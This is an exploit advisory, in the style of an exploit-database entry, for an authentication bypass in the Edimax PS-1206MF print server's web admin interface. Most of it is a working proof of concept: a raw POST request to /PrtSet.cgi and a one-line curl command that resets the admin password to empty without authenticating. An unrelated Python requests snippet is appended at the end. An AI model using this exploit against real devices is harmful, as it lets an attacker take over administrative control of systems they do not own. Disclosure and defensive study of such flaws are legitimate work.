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"Edimax PS-1206MF - Web Admin Authentication Bypass"

Author

Exploit author

smash

Platform

Exploit platform

hardware

Release date

Exploit published date

2015-08-31

Download file

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# Title: Edimax PS-1206MF - Web Admin Auth Bypass
# Date: 30.08.15
# Vendor: edimax.com
# Firmware version: 4.8.25
# Author: Smash_
# Contact: smash [at] devilteam.pl


HTTP authorization is not being properly verified while sendind POST requests to .cgi, remote attacker is able to change specific settings or even reset admin password.

By default, it is necessary to know current password in order to change it, but when request will be missing POST anewpass & confpass parameters, admin password will be set to null.

devil@hell:~$ curl -gi http://192.168.0.10/
HTTP/1.1 401 
Date: Sat, 21 Dec 1996 12:00:00 GMT
WWW-Authenticate: Basic realm="Default password:1234"

401 Unauthorized - User authentication is required.

Request:
POST /PrtSet.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/pssystem.htm
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

BoxName=MFD55329&anewpass=1234&confpass=1234&PSPORTNAME1=&PSPORTNAME2=&PSPORTNAME3=&save.x=47&save.y=11

Response:
HTTP/1.1 200 OK
Date: Sat, 21 Dec 1996 12:00:00 GMT
Content-type: text/html

<html><head><title>Advance Settings</title><link rel="stylesheet" href="set.css"></head>
(...)


Following curl request will set admin account with empty password.

PoC:
devil@hell:~$ curl -XPOST --data "" -s http://192.168.0.10/PrtSet.cgi > /dev/null
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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